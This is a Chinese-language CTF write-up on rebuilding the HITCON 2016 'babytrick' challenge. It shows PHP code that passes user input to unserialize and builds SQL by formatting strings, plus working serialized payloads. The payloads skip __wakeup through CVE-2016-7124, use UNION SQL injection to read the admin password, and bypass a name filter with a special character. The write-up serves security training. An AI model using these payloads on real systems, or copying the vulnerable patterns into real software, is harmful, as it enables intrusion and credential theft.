实验环境搭建:PHPstudy,火狐(backbar),notepad++;
原题目代码:https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick
本人在还原此题目时,因为mysql数据库用户名密码和方便调试等原因对源码的一些参数做了一些相应的改动,但是没有改变主要代码。
config.php:
ctf-php-unserialize.php:(这个名字可以随便起,自己开心就好)
method = $method;
$this->args = $args;
$this->__conn();
}
function show() {
list($username) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("Nobody Nobody But You!");
}
}
function login() {
global $FLAG;
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
if ( $username == 'orange' || stripos($sql, 'orange') != false ) { //特殊字符Ã绕过;
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
function source() {
highlight_file(__FILE__);
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8"); //使用utf8编码方式
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function __destruct() {
$this->__conn(); //将数据写入数据库;
if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
if(isset($_GET["data"])) { //侦测有无data的get获取;
@unserialize($_GET["data"]); //跳过 __wakeup()函数;调用析构函数
} else {
new HITCON("source", array());
}
?>
环境搭建完成后运行:
通过审计源代码可以看出需要两个get数据:get,data;
当get为真可以将数据写入数据库,data需要构造序列化数据来获取flag;
第一个构造(mysql数据库注入获取orange用户的数据库密码):
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"bla' union select password,username,role from users where username='orange' -- ";}}
第二个构造(使用第一个构造获取的密码获拿到flag):
O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÃnge";i:1;s:8:"sa123123";}}
主要的点:
1.当字符串为private类型时,序列化时生成的序列化字符串中类名前后会有0×00,url编码下为%00。如果不加的话,会得到结果{"msg":"What do you do?"}。
2.类中有魔术方法__wakeup,其中函数会对我们的输入进行过滤、转义。所以需要利用谷歌发现的CVE-2016-7124漏洞(当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行,参考官方文档:https://bugs.php.net/bug.php?id=72663)。
O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"bla' union select password,username,role from users where username='orange' -- ";}}
如果这样注入就不能跳过__wakeup()函数,会得到结果{"msg":"Nobody Nobody But You!"};
3.在析构函数中有一个判断 if (in_array($this->method, array("show", "login", "source")))如果method不是里面的数据就会导致被过滤。
O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:3:"abc";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"bla' union select password,username,role from users where username='orange' -- ";}}
如果这样注入会得到结果:{"msg":"What do you do?"};
4. 在login()函数中有判断if ( $username == 'orange' || stripos($sql, 'orange') != false )如果username=orange时就会被过滤,此处可以利用的字母Ą、Ã,实现绕过,注意 s:6:"orAnge" ,改为s:7:"orÃnge"。
O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:8:"sa123123";}}
如果这样注入会得到结果:{"msg":"Orange is so shy. He do not want to see you."};
序列化怎么快速构造出来?看完上面的部分在看这个生成序列化的利用脚本应该很简单了:
method = $method;
$this->args = $args;
}
}
$_method="show";
$_args=array("bla' union select password,username,role from users where username='orange' -- ");
$Instantiation=new HITCON($_method,$_args);
echo serialize($Instantiation)."";
$Instantiation=null;
$_method="login";
$_args=array("orÃnge","sa123123");
$Instantiation=new HITCON($_method,$_args);
echo serialize($Instantiation)."";
$Instantiation=null;
?>
注:刚开始使用了IE浏览器,结果在特殊字符绕过的时候,连接数据库查询的时候总是得不到flag一直得到{"msg":"Admin only!"};但是使用火狐就没有这个问题,还有考虑到火狐有hackbar插件,进行get注入时方便不少。